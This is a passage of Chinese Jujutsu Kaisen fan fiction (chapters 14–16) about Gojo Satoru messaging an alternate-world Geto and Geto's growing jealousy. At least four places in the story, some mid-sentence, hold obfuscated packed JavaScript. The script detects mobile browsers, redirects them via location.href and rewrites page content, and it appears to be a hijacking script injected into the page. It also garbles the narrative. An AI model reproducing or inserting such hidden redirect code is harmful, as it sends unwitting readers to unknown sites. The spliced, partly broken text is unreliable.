五条悟没领会到他心中的埋怨，叼着塑料勺郑重其事道：“因为老子学到了一个很重要的道理——有些东西一定要说出来让人知道才行。” 否则人要跑了都不知道，如果不是靠机械降神突然得了超能力，被强烈的副作用打晕引起了搭档的怜悯，恐怕现在早就是一个被迫单飞的小可怜了哈。 而说起这个—— 五条悟已经顺利从自己的挚友那里得到了答案，既然说看到了消息就一定会回…… 那究竟是什么绊住了夏油先生，让他连看手机的时间都没有呢？ 五条悟并非生性多疑之人，但事已至此，曾经从硝子那里借来的地摊文学时不时就在他脑子里晃过—— 天哪，他不过是一会儿没能看住，夏油先生就真的让人强取豪夺了啊！ 他先前会鼓动夏油先生去和搭档当面沟通，当然是因为相信“自己”的人品。就算夏油先生已经自暴自弃地讲封杀之类的话了，但五条悟并不觉得那个白毛真能做出这种事来。 结果嘛……看来当霸总确实容易把脑袋当坏。 暂时缓解了六眼带来的负担后，那个白毛居然立刻就限制了夏油先生的人身自由和对外通讯，真是太过分了！ 就算、就算杰真的不要和他做搭档了，也不能这样对杰啊…… 五条悟不禁磨了磨牙，如果是他的话—— 唉，虽然已经能想到真遇到这种情况，他一定会气得半死，但顶天也就是和杰冷战罢了。杰要做什么的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180452|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，他才不会阻止的，更别提直接上监禁……用这种方法留下杰也太不尊重杰了。 既然那家伙就是这样对待杰的，可就不要怪他无条件支持夏油先生跑路了！一会儿得想个能隔空攻击同位体的好办法！ 五条悟这边兀自想了许多，实际上有六眼的加持，也不过才几秒钟过去。 他的正牌挚友颇有些惊讶地打量了他一会儿，才弯起眼睛笑道：“是吗？那可真好啊，连悟也明白这样的道理了。” 五条悟鼓了鼓脸，气恼道：“杰也别把老子说得像什么都不懂的笨蛋似的啊，老子也很努力地在理解了耶！” 原来怎么没觉得杰这么笨蛋呢？不说出来的话就一定不明白，不确认一遍就不能真的理解他的意思——笨蛋啊！ 夏油杰脸上的笑意愈发深了，“我当然知道了，悟一直都很聪明嘛。” 本以为某个网恋对象是个只知道向悟倾斜情绪的混蛋，结果也能教点好的嘛……可这样的道理，某种意义上来说也只是用来哄那家伙开心的吧？啧。 夏油杰实在没忍住，假作漫不经心地说：“不过这种事情，应该要两方都重视对待吧？只靠悟一个人的话，也太辛苦了。” 五条悟觉得还OK。 此人对自己上心的事情抱有百分之二百的耐心，况且，他的努力也并非完全没能得到回应，对方其实还挺听劝的，自然也不存在只有他一个人做无用功的情况。 就是好像有些人又要把他努力推了好半天的进度条拉回原点了。 五条悟讨厌拖后腿的大人，也万不能理解“自己”怎么会变得这么没用，思索了片刻后耸了耸肩无奈道：“啊，也没办法嘛。仔细一想居然是只有本大人才能负责的事情，所以绝对不能放着不管。” 他倒是真心实意地吐槽了，可在夏油杰听来，一个病入膏肓的恋爱脑形象就这样跃然纸上——不论恋人的精神状态有多么差劲，也都毫无怨言地承接下来。 如若从旁人视角来看，五条悟的确做得十分妥帖，简直是个完美的恋人，但…… 作为五条悟的朋友，夏油杰的心情就非常微妙了。 他无论如何都不能理解，对方到底给五条悟提供了多大的情绪价值，值得脾气很臭的大少爷一边嚎叫攻击对方性格烂，又一边不畏艰险地继续凑上去体会届不到的酸涩感。 偶尔也会产生那样的冲动——揪着五条悟的领口狂摇，问问这小子到底图对方什么，难道是从小到大被伺候惯了，没被人蹬鼻子上脸过吗？ 本人其实也在五条悟面前很放肆的怪刘海如是想到，还准备再说些什么，继续给某人的网恋对象上点眼药，五条悟沉寂了一个星期的手机又发出了收到短讯的叮咚声。 五条悟一手端着刨冰碗，将勺子往嘴里一叼，很迅速地腾出了另一只手去把从兜里手机掏出来，单手调短讯界面的动作非常熟练。 夏油杰：“……” 嚯，那颗聪明的脑子其实还添加了恋爱模块吗？明明只是连声音都没听过的存在吧？ 五条悟这家伙，真是没救了。 并没接收到挚友恨铁不成钢的视线，检阅着新短讯内容的五条悟表情逐渐变得扭曲起来，最终五官都拧在了一起，发出了难以置信的声音。 “哈？” 14.第 14 章 平白无故消失了一个星期的夏油先生回归后发出的第一条短讯是—— A：【抱歉小悟，最近有点忙，没空看手机。等我先看一下小悟之前的消息再回复。】 五条悟：“……” 如果他没记错的话，这家伙不是去照顾忽的患上绝症的五条先生了吗？ 既然之前的方法有用，那就几乎可以确认让五条先生昏迷好几天的绝症就是不应该出现在那个世界的六眼…… 生来就带着六眼的神子并不能理解还有什么可忙的——再忙能忙得过夏天加班的他吗？甚至连他都能抽出看手机的时间耶！ 总不可能两个都半死不活的艺人还得被翘出去跑通告吧？ 一时间，五条悟不禁对手机那头发出消息的人的身份产生了怀疑，很冷酷地问：【在忙什么？】 如果是终于从躺尸状态复活的五条先生冒充搭档试图来套他的话……五条悟觉得以身为同位体的相似脑回路，自己一定能辨识出对方的真身。 A：【……算是比较难以启齿的问题，可以的话，小悟能不要问吗？】 有些事情，越强调不能做，反而会勾起熊孩子强烈的逆反心理。 很不幸，五条悟就是这么个熊孩子，他说：【可是老子真的很好奇耶。到底是什么事情能让杰那么久都不搭理老子呀QuQ害得老子好担心，还以为再也没办法联系上杰了T^T】 他手上还有空编辑简单的颜表情卖萌，可这条消息发出后，随着对方越来越久的沉默时间，他的表情却愈发冷冽下来。 到底是什么事这么难以启齿啊？果然是因为换人了，还没编好适合的理由吧？ 虽然对面那家伙靠着物理遮挡姑且适应了六眼目前收集信息的频率和总量，但五条悟却知道，他这边短期内传输过量信息也能把对面的六眼打晕——而且对方并没有太久的驯服六眼经验，直接一击致死说不定也是可以做到的。 本想着立刻靠垃圾信息把同位体打晕，却在还编辑着的时候，被忍无可忍的夏油杰伸手“啪”地一下合上了手机盖，不容拒绝地将手机从他手里收走了。 夏油杰没收了他的手机，一本正经道：“走在路上的时候就不要看手机了，有事的话，等回高专之后再讲吧？我想他应该也不希望悟在路上因为看手机遇到危险。” 一边说着，他隐晦地观察起五条悟的表情来—— 比起被打断施法的生气，五条悟脸上更多的是稍显意外的迷茫，非常无辜地眨巴眨巴眼睛，也觉得夏油杰说的有道理。 在路上直接攻击那个白毛容易限制他的发挥，当然是得到安全的地方坐下来才能全力以赴，已经染上烂橘子味的同位体当然还是一叉戳死更好。 五条悟这样想着，几口把刨冰吃完，扔进垃圾桶后才跑回来催促夏油杰说：“好啦，我们这就回去吧。” 他已经迫不及待了！ 向异世界开战！向搞笑艺人开战！向变异同位体开战！ 夏油杰：“……” 真搞不懂五条悟在急什么。 心情愈发微妙的夏油杰叹了口气。 这种事情，外人是无法置评的。 即便从他的视角看来，对方实在刁蛮得有点过分，可只要五条悟愿意，作为朋友再着急也没用，人家自己愿意直愣愣地往南墙上撞呀。 夏油杰心情复杂，却也不再多说，招呼着挚友来到隐蔽处召唤出了虹龙。 这条被他们两人联手拿下的龙型咒灵再也没了先前嘲笑他们的余裕，变得无比地乖巧起来。 他们在开学之前天天飚龙很难说没有要报复这家伙的意思，只是现在龙还是那条龙，将它当作交通工具的二人心境却大不相同了。 夏油杰摸了摸龙鬃，扭过头对挚友嘱咐道：“夜蛾老师已经明令警告我们不要引起混乱了，所以等会要稍微飞得高一些。悟今天应该还能维持一段时间的无下限吧？等会就拜托你抓好，别让我们掉下去了。” 五条悟很酷地比了个“OK”的手势。 片刻后，虹龙载着两个少年腾空而起。 北半球的夏季昼长夜短，他们在路上拖延了许久，等到返回高专时，夕阳仍然悬在天边，散发着刺眼的温暖光芒。 夏油杰有点怔愣地看着那轮夕阳，莫名地产生了一种想要落泪的冲动。 他想起小时候养的小仓鼠了。 那时尚未完全掌握术式的小咒灵操使对于家里突然出现的、只有自己才能看见的小怪物有一万个防备都不为过。 只是那时家里没有大人，求助无门的小朋友能想到的最好的办法也就是带着仓鼠的小笼子逃走。而低级的咒灵对恐惧之类的负面情绪有着本能的追逐欲，被咒灵追赶的小夏油杰意料之中地在楼梯上打了滑，咕咚咕咚地滚了下去。 仓鼠笼本来也不是多坚固的东西，受惊的仓鼠摔出来后就慌不择路地逃走了，一只仓鼠而已，没有人类的保护的话，恐怕很容易就会被路过的野猫野鸟叼走吃掉，可夏油杰再也没能找到它，连尸体都没有。 小夏油杰当时手忙脚乱之间却是成功将追赶来的咒灵捏成了咒灵玉，初次领会了自己的术式，但收服的“式神”或者“召唤兽”，也确确实实让他痛失了不会说他是骗人的坏孩子的重要伙伴。 好长一段时间，小小的杰君心中都怀揣了非常复杂的感情，甚至在后来知道追得自己慌乱逃跑的咒灵甚至在咒灵中都是最弱的那一批时，心情变得更加沮丧起来——要是他再早一点知道术式就好了，那他是不是就能保护好自己的伙伴了？ 就像现在一样，明明悟都说他们是唯一的挚友和搭档了，那么这种唯一性再延展一些也未尝不可，但他算了又算，还是不忍心把锅扣在误入情网的五条悟头上，只能怪自己莫名地慢了半拍，还说什么让悟想听甜言蜜语就去找别人的话，眼睁睁地把自己唾手可得的东西推了出去。 那种性格的家伙，到底哪里好了？ 夏油杰想得牙痒痒，我未必不比那种男人讨人喜欢啊？ 对此暂时毫无察觉的五条悟正坐在他身后，指尖揪着他的衣角把无下限的包裹传递过来。 似乎是意识到了什么，五条悟忽的改变了姿势，扒着他的肩膀跪坐起来，把脑袋凑上来看，总觉得对方的眼神看起来湿漉漉的，便疑惑道：“杰？怎么了？” 夏油杰眯了眯眼，漫不经心地敷衍道：“阳光太刺眼了。” 五条悟也不知道怎么想的，扒着他的肩膀思索了片刻后，近乎全黑的镜片就落到了他眼前。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180453|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夏油杰客观意义上的眼前一黑。 “这样就好了吧！”五条悟得意的声音在他耳边响起。 理论上来说，浅色的虹膜对光照更加敏-感，这已经无关咒术了，只是纯粹的科学知识。 现在更需要墨镜的应该是五条悟，但这家伙就突然地把自己的墨镜戴给了夏油杰。 “喂，那悟怎么……”夏油杰还说着呢，忽的感到肩膀一沉，目光向旁撇去，就看见一颗毛茸茸的脑袋压在了他肩膀上。 五条悟闭上了眼睛，雪白的睫毛被阳光照得有些透明，在眼睑下搭出一片微小的阴影。 夏油杰不自觉地多看了一会儿，悚然一惊——明明平时根本就没怎么护理过，但这家伙脸上居然真的0瑕疵诶，这就是老天爷赏脸吗？ 他惊讶的时间并不久，却也足够让五条悟有意有所指地笑起来，没搭着他肩膀的那只手抬起来捧着自己的脸，噘着嘴万分矫揉造作道：“接下来就全部拜托杰了，不要把人家带到奇怪的地方去哦~” 这家伙明明闭着眼都能倒立着走，还说这样奇怪的话！ 夏油杰一哽，把墨镜摘下来捏在手上往后递，有点恼怒地说：“……我看不见了，笨蛋！自己拿回去戴着！” “不是杰自己说太刺眼了吗？”五条悟叹着气把墨镜接过来戴上，聪明的小脑瓜灵机一动就想出了第二个方案。 他撑着夏油杰的肩膀，将另一只手抬到了驾驶员眉毛的高度，宽大的手掌形成了类似帽檐的存在，“这样总要好了一点了吧？” “如果悟不累的话……我其实还好。”夏油杰属实拿他没办法，这样的举动给人的感觉就像是被小猫主动蹭了似的……心头荡漾起一些柔软的涟漪后，又猛然想起这并非可以随意绑架回家的野猫，难以言喻的失落感沉甸甸地压在心头。 五条悟信心十足：“老子当然没问题啦！” 虹龙继续向高专飞去。 为了不引起班主任的注意，两个男高中生在接近高专结界前的位置就已经找位置降落了。 五条悟刚落地就捂住自己的右手大呼小叫起来：“咦惹手臂好酸——” 夏油杰：“……” 唉，笨蛋。又不是他说没问题的时候了。 夏油杰无奈地帮他捏了捏手臂肌肉，看着龇牙咧嘴的挚友不禁失笑道：“今天的任务报告我来写吧，就当是报答悟帮我挡光了。” 话刚出口，他像是忽的反应过来了似的，又仔细地观察了一下白发少年的表情，大叫道：“等等，悟其实根本就没那么严重吧？你这家伙——” 见事情败露，五条悟冲他做了一个鬼脸，“略略略——老子已经听到咯，杰说今天的任务报告是杰来写！” 五条悟拔腿就跑。 夏油杰也来不及管自己先前的忧郁了，紧接着跟了上去，怒道：“可恶，给我站住！” 很吵很烦人的两个男高中生的声音响彻高专。 家入硝子翻开《认知行为心理咨询实务》，扭头往窗外一看，一白一黑两个人影风一样地飞了过去，但不论哪一个，看起来都比莫名其妙又要自学心理的她高兴多了。 家入硝子：“……” 会觉得五条悟怀疑夏油杰心理有问题的她，才是真的有问题。 15.第 15 章 刺挠男同学的下场就是，最终被怪力大猩猩猛地扑上来用寝技锁了喉。 夏油杰还是感念这小子的帮他挡阳光的贡献，只锁着五条悟承诺让他会把任务报告的上半部分写完，自己接下了后半部分及润色修改的工作。 显然，他的意思是让五条悟随便写点得了，没真的和鸡掰猫计较。 五条悟一石二鸟，不仅顺利把挚友从莫名45°角仰望天空的忧郁姿态里剥离了出来，还逃掉了大部分的文书工作，心情自然high到不行—— 以至于他直到跟夏油杰吃过晚饭，还回寝室打了会儿游戏，最终洗完澡躺在自己寝室床上后准备睡觉时才突然想起自己忘了什么，颇有些心虚地把手机拿出来。 点开信息栏一看，静默许久的A是在他下午问完之后，隔了大约一个小时才发来了信息。 A：【悟一直哭。】 这四个大字猝不及防间甩到了五条悟脸上。 那一刻，好似银河倒泄宇宙爆炸在他尊贵的大脑里同时发生，能够轻松处理各种信息的脑子很莫名地呆滞了至少两秒钟。 五条悟：“……” 啊？ 除了还是只能靠哭来表达自己需求的光屁股小鬼时期，现在的五条悟在打哈欠时溢出的生理性泪水之外，几乎和“眼泪”这个词没什么关系。 他生来就是尊贵的六眼神子，五条家没人会忤逆他的心意，无需他靠大哭大闹来获取什么东西；就算性格超烂（尽管他不这么认为，但不得不很不幸地承认，这居然是身边大多数人公认的），看他不爽的人也没他强，万万不可能出现把他揍到哭鼻子的情况…… 所以，当看见对面发过来的消息时，五条悟一时间不知道该作何反应，好半晌才茫然地眨了眨眼，停摆的脑子才勉为其难地重新运转起来思考。 谁？谁一直哭？ 他不嫌丢人呐？！ 五条悟瞪着眼睛仿佛要把信息栏里的这四个字盯穿一般，很不可思议地想象了一会儿那个画面，便果不其然被恶心到了，吐了吐舌头才迟疑地发消息过去。 【……哈？谁？】 假如对面真是能够动弹了的五条先生……该说不愧是搞笑艺人吗？ 为了从他这里套话，甚至不惜自黑……甚至还用了这么丢人的理由！ A似乎是要证明自己先前所说的没空是真的，此刻展现出了非常空闲的姿态，五条悟的疑惑才发过去，对面的吐槽几乎是秒回一般咚咚咚地接连发了过来。 A：【明明把眼睛挡住之后精神就好了很多，没有再一直睡过去，但悟却变得比之前更不好交流了，甚至说根本就是没办法交流！】 A：【只要一提到解散的事情，悟就开始哭。连更多解释的时间都不给，就一声不吭地坐在那里掉眼泪，眼罩都哭湿好十几个了！我能有什么办法，我还能说出什么话来？我又不可能看着悟这么伤心，还只管自己的事情！】 A：【悟的家里人倒是很沉默，可我一看他们的表情都知道他们心里怎么想的。我要是真的有迷惑人心的超能力，哪里会往悟身上用？直接成为全民偶像不是更好？现在难道是我不想走吗？要是他们能有办法，我就不用因为担心悟把眼睛哭坏留下来了！】 A：【这群烂橘子有空在这里左右脑互搏，还不如自己想想办法，天天盯着我算怎么回事？除了在旁边胡乱指指点点之外一点用都没有，我没有办法，我让他们去说服悟，好啦，一个个像被剪了舌头似的不会说话了！】 A：【真是的，摊上这群拎不清的长辈……难怪悟不愿意回去。】 A：【我刚刚才终于把他们赶走了。这就是我之前没能回复小悟的原因，真的不是故意的，不过我冷落了小悟的确是既定事实，你生气也是应该的。】 A：【抱歉，以后会尽量避免这种情况的。】 五条悟大受震撼，指尖在按键上游离许久都不知道该先说什么，目瞪口呆得简直像那被一向慈眉善目的饲主面无表情地拎起后颈审问的猫。 原来、原来之前的沉默，是在考虑该如何保全搭档的形象吗？ 结果，在他的询问和这几天被烂橘子横眉冷对的双重压力之下，一下子全爆发出来了啊…… 五条悟迟疑了片刻，才弱弱地发消息道：【嗯嗯，老子在没生气的，他们就是很烦人。杰辛苦了。】 他现在一点都不怀疑对面的身份了，这种奇异的急切感，“五条悟”肯定装都装不出来，他相信只要“他们”的情绪都稳定得可怕。 五条家的烂橘子们，虽然没什么大本事，但嘴上功夫非常厉害。五条悟嫌他们烦，却又没有真的动过手。 这群老胳膊老腿，轻轻一碰就真的要土间一埋十八年后再见了。 五条悟还是不到真的讨厌得要他们立刻入土的地步，最终只能自己离家出走——就这都还有人偷偷蛐蛐他不懂得尊老。 笑死，他要是真的不尊老，五条家的烂橘子都要重新种一茬了，好吗？ 不过比起异世界的烂橘子发育情况，五条悟更关心的还是夏油先生。 夏油先生现在倒是脱离了先前那种半死不活的状态，但又忽的有了种被逼到极限后触底反弹的精神摇荡感……简直和对门的夏油同学一样一样的，逼急了就真的发疯给你看。 尽管只用了平淡的“把他们赶走了”的文字，却让人不得不怀疑他赶走烂橘子们的手段究竟是如何恐怖，才能让那群老家伙乖乖离开。 算是……异常行为中的危险举动吗？威胁他人，或者伤害自己什么的…… 五条悟提心吊胆着，夏油先生便又发消息过来了。 A：【还好，不辛苦。就算是这样的长辈，也是勉强能讲通道理的。】 A：【麻烦的家伙只有悟一个人而已。】 A：【最近除了应付长辈们之外，就只是全身心地在处理悟的问题。都已经是成年人了，却根本没办法把注意力移开，稍微脱离一点悟的视线范围，他就要开始找人，找不到又要哭。唉，真是让人没办法放心……明明只靠哭闹只是小孩子的手段而已啊。】 五条悟：“……” 难说。 眼泪是只对真正关心的人最有效的武器。 烂橘子们是否真的在乎还尚且无法确认，至少，五条先生一哭，他的搭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180454|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 档绝对就迈不开脚了，原本都自暴自弃地开摆了，这下甚至还能被激发出翻起来和烂橘子对线的精气神…… A：【不过现在情况特殊，悟这个样子，我也不能放着他不管。】 A：【算了，解散之类的事情，以后再说吧。反正我们两个都停止活动了，就算不继续演出，一时半会儿也死不了，就这么先过着吧。】 夏油先生说是这么说了，在五条悟看来却是另一种层面的妥协，让还是经验不充足的高中生感到了一种……惶恐。 不能说问题没有解决，夏油先生确实不再想要解散组合了，五条先生也如愿以偿地达成了维系组合的目的。 可显而易见的是，搞笑艺人们根本就没有经过正常的交流，目前甚至是以貌合神离的状态勉强维持着生活，根本不存在任何一个人爽到了的可能性。 也不知道究竟是谁搞出来的事，现在好了，不爽的人还多了一个无辜的咒术师。 大概是今天夏油先生情绪异常激动，一连发了好多条短讯过来，五条悟久违地产生了一种晕眩感。 他还是不大能理解从今天的交流中得知的信息，五条先生作为一个普通的（可能有一些隐藏霸总身份的）搞笑艺人，留下搭档的手段实在转着圈地丢人…… 你在用那张脸做什么呢？！ 五条悟闭了闭眼，觉得这可能是他今天刺挠怪刘海狐狸得到的报应，缓了好一会儿才把自己的猜测告诉夏油先生： 【那家伙昏迷的原因，老子大概能猜到了。他的眼睛已经被替换成了‘六眼’……嘛，算是这个世界的五条家血脉里传承的超能力，会不受控制地收集周边的信息，给大脑带来很大的负担，物理遮挡虽然能隔绝掉一点，但也不多，最好还是别去人群密集的地方，信息太多会让脑子很累的，那家伙也没经验，恐怕去了就会晕倒。】 他想了想又解释道：【不过老子这边还是一切正常，没有出现六眼消失的情况……所以应该还有其他的平行世界遭受了波及，别担心啦，引发这种混乱的家伙当然也会主动负起责任来解决问题……听说你们艺人总要跑通告还挺忙的，停止演出一段时间，就当是休息咯。】 夏油先生的短讯和他解释的消息一同发了出来。 A：【原来如此，就算是超能力世界的小悟也很辛苦呢。最近还真是非常打扰你……如果我们的时间是相同的，现在已经很晚了，要记得好好休息。】 五条悟突然又不晕了，飞快打字道：【也没有很辛苦啦，因为杰和老子是搭档，有杰在的话，就完全不用担心背后，超高兴，老子超喜欢和杰一起去做任务的！】 A：【谢谢悟。】 五条悟注意到夏油先生微妙地改变了称谓，这一句里的“悟”肯定不是指那个只会哭哭啼啼的白毛啦~ 嘿嘿，对面终于完全认可了他的身份，没有再带着一种成年人谦让未成年的傲慢了！ 五条悟唇角一勾，【知道啦！晚安，杰】 A：【晚安，悟。】 看到对面回复的晚安后，五条悟的六眼终于到达了极限，像是突然断电了似的，白发少年安详地闭上了眼。 16.第 16 章 次日早晨。 五条悟被生物钟叫醒，顶着仿佛有三倍沉的脑袋回复夏油杰发来的叫早短讯，好不容易才从床上爬起来，洗漱完毕后哈欠连天地打开寝室门。 比起睡着，他昨晚大概是直接昏了过去，以至于对睡眠时间需求并不那么高的五条悟久违地产生了一种没睡够的困倦感，面上看起来却更像被谁惹了心情很差似的。 门外的夏油杰看他这副半死不活的样子略微惊讶了片刻，才拧着眉头很无奈地拍拍他的脸，教育的话张口就来：“真是的，悟也知道今天要上课吧？就算只有上午有课，也不能像这样熬夜。年轻的时候不注意身体，老了要怎么办？” 最近被分派到外地的学长学姐们也差不多都回东京了，理论上不该在这时就如此高强度处理任务的超规格一年级生们总算能喘口气，不过这喘气的方式也很残忍——回学校上课。 五条悟眼皮耷拉着，无意识地蹭了蹭夏油杰的手。 对方仿若被电到了似的立刻收了手，五条悟稍有疑惑地掀起眼皮，一颗万分聪明的大脑又静待了几秒钟才勉强重启。 他没将刚刚的小插曲放在心上，自然而然地便往夏油杰身上扒拉，嘴上还抱怨道：“都怪杰昨天下手太重啦，一定是因为扭到脖子，老子才没睡好……” 只是话还没说完，夏油杰脚下很巧妙地错开了一步。 五条悟搭了个空，不禁踉跄了一下，彻底清醒过来，张了张嘴还没开始找挚友的麻烦，对方就神色如常地看了过来，还伸手扶了他一把。 “怎么了？”已经走出去一小截的夏油杰看起来很无辜，拿出手机瞥了一眼时间，似乎没意识到分毫异常，很淡定地催促道，“我们还有20分钟，刚刚好够吃过早餐再走到教室……悟再拖延下去的话就要被夜蛾老师骂了哦？” 五条悟：“……” 他直觉认为有一些不对劲的事情发生了，但这个怪刘海实在理直气壮过头…… 没等他继续想下去，夏油杰就继续往前走了。 本学期又重新坚定过信念，尚在追求非意外情况不要迟到早退的优等生意志相当坚定，万不是五条悟一时半会儿就能动摇的。 五条悟便迅速迈开脚步追上，视线盯着挚友并未完全塞进丸子里的，露出来的几撮仿佛章鱼须般随着行动蹦来蹦去的发丝思索了一会儿，调转位置又扒了上去，跟从直觉像JK一般强行抱住了夏油杰的手臂。 夏油杰没想到此人扒不到肩膀还有这种姿势，一时间大受震撼，挣扎了几下试图把自己的手臂抢救出来，无果，才言语制止道：“……悟干什么啊？太近了。” 他昨天倒是顺利让五条悟转移了注意力，结果晚上躺在床上快睡着的时候，稍显奇异的想法忽的在脑子里一晃而过—— 尽管五条悟现在对那位先生非常迷恋，但对方毕竟是普通人，被认真唯一的一辈子挚友站在五条悟身边的一定是他，如果真有那么一天，他未必没有胜算…… 夏油杰：“……” 等一下。 夏油杰猛然坐起，抱着脑袋无声尖叫。 你在想什么东西呢？！！！ 险些误入歧途的优等生默默进行反思，在床上滚了大半天才终于把自己滚睡着，早上睁眼后便即刻确认了还是稍微避避嫌冷静一下的策略，才踏出第一步就让五条悟给硬生生扯了回去。 五条悟莫名其妙，“原来不也这样？杰才奇怪诶！” 现在他可以完全确定了，先前察觉到的异常真的不是错觉——夏油杰就是故意在躲避他的肢体接触！ 夏油杰叹了口气道：“……现在和原来又不一样，悟也自己注意点啊。” 已经步入恋情——就算只是隔着屏幕的网恋的家伙，这么没自觉可不行。 既然已经决定发展一段感情，就不好在关系存续期间继续和身边的人过分亲密地打闹了，万一引起恋人的误会才是洗不清呢。 五条悟近来实在非同一般地警觉，很快便意识到挚友话语中难以避免地溢出一股酸味来，再想到自己这几天一直记挂着夏油先生的断联，确实是一副心不在焉的样子…… 稍作思考后，五条大人完全明白了一切，非常直接地问道：“杰是因为老子总在看手机吃醋了吗？” 胡说八道！他怎么会对别人的男朋友有那么强的占有欲呢？！夏油杰陡然被踩了尾巴似的，猛地跳出好远，坚决否认道：“我才没有，悟也自恋过头了吧！” 他狠狠地甩开了五条悟的手，冷静下来后才发现白发少年站在原地没动弹，嘴唇抿起来拉出一条很不高兴的直线。 难道、难道真的是他做贼心虚反应过度了吗？很擅长反思的夏油同学迟疑了片刻。 夏油杰沉重地代入了五条悟的视角——明明前一天还好好的，只是普通的一晚过去，挚友就突然要和自己保持距离。 是了，这回该轮到五条悟觉得莫名其妙了…… 实在不太想让自己显得很胡搅蛮缠的夏油杰深呼吸了一下，又迈步走回去重新牵起挚友的手，说：“好了，抱歉悟，我可能是有点犯起床气了。再拖延下去真的要迟到了，我们先走吧。” 五条悟却像是脚下生了根似的，夏油杰没太用力，竟然没能拉动他，面上稍微有点挂不住，很无奈道：“我都说抱歉了，平时也没有和悟计较，悟就别再……” 下一秒，努力试图把这篇翻过去的别扭狐狸就整只被摁到了走廊的墙上。 夏油杰话只说了一半，天旋地转之下，剩下的话也只能暂时滞留在喉咙里，背部重重抵上墙壁时才堪堪找回语言系统，万分疑惑地发出了一声短促的“啊”，他的思维很莫名地停滞了片刻，完全没能辨识出此刻的状况。 “老子最讨厌的就是杰总是自说自话地决定事情这一点啊。”五条悟微微低头，墨镜向下滑了些，冰蓝色的猫眼露出来，直勾勾地盯着某大言不惭的咒灵操使。 “之前难道没有告诉过杰，如果不高兴了的话，要记得把理由告诉老子？结果杰根本没放在心上，自顾自的生气又消气，甚至还准备和老子保持距离……莫非就那么急着快进到任老子处置的环节？”五条悟顿了顿，深吸了一口气，恶狠狠地瞪着还在宕机阶段的挚友，一字一顿地问，“你、是、笨、蛋、吗？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15180614|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 夏油杰认为自己不是笨蛋，但被挚友劈头盖脸训了一通，一时半会儿没找出反驳的理由来。 虽然悟的确在恋爱中啦，但就算恋人是男性，也不该影响他们之间的友谊，莫名其妙要改变相处方式才更奇怪。 夏油杰说服了自己。 并不准备在对方恢复单身之前暴露的、绝望的优等生捂住自己的脸，弱弱道：“好的，明白了，对不起。” 这句对不起可比之前的有诚意多了。 对思想有点滑坡的挚友恐吓完毕，五条悟直起身子道：“杰到底在烦心什么，现在可以说了吧。” 冷静下来后，夏油杰不代入情敌的身份，尽可能客观地说：“悟最近连在任务里都很容易走神，就算再喜欢对方，也不该将自己置于险境……” 他的意思是，能不能别那么恋爱脑？上班的时候就认真一点！ 五条悟稍显迟疑。 非要说的话，就是被要求删除好不容易打通的高难关卡存档——他可是昨晚才刚得到夏油先生的认可耶！ 不过要是因此让自己的挚友担心了的话，那不就显得有点本末倒置了嘛。他本来也是因为以为对面是自己的杰，一开始才会特别上心的。 如果非要做选择题的话，要选谁不是一目了然吗？ 于是五条悟并没有思考太多，很轻易地便答应道：“好呀，下次再有这种走神的事情，杰就直接提醒老子呗。杰不希望老子和你在一起的时候跟别人聊天，直接拿走手机也完全没问题哦，真的有急事的话会告诉杰的。” 夏油杰：“……” 他静静地看了五条悟一会儿，忽然也觉得自己的后脑勺有点痒了，但他头发绑得很好，不便伸手，最终只能摸摸鼻子，低声道：“悟这不是知道吗……” 所以，昨天被他有点霸道的没收手机也没异议，回高专的路上也很关注他的状态，居然是五条悟在用自己的方式安慰他吗？ 这种养的猫突然跳起来给自己做了三菜一汤的既视感……不，其实悟一直都很可靠来着。 随后，一直很可靠的五条悟打了个哈欠，“昨天只是知道杰不高兴而已，今天刚品出来真正原因。笨蛋，下次再有这样的事，直接说出来啊，不然老子怎么知道杰到底为什么不高兴？” 夏油杰丢了个大人，哽了哽道：“……真的知道了！” “对了，杰。”五条悟一抬手，又跟他勾肩搭背起来，“老子还有一件事要告诉你。” 夏油杰微微偏头，“又怎么了？” 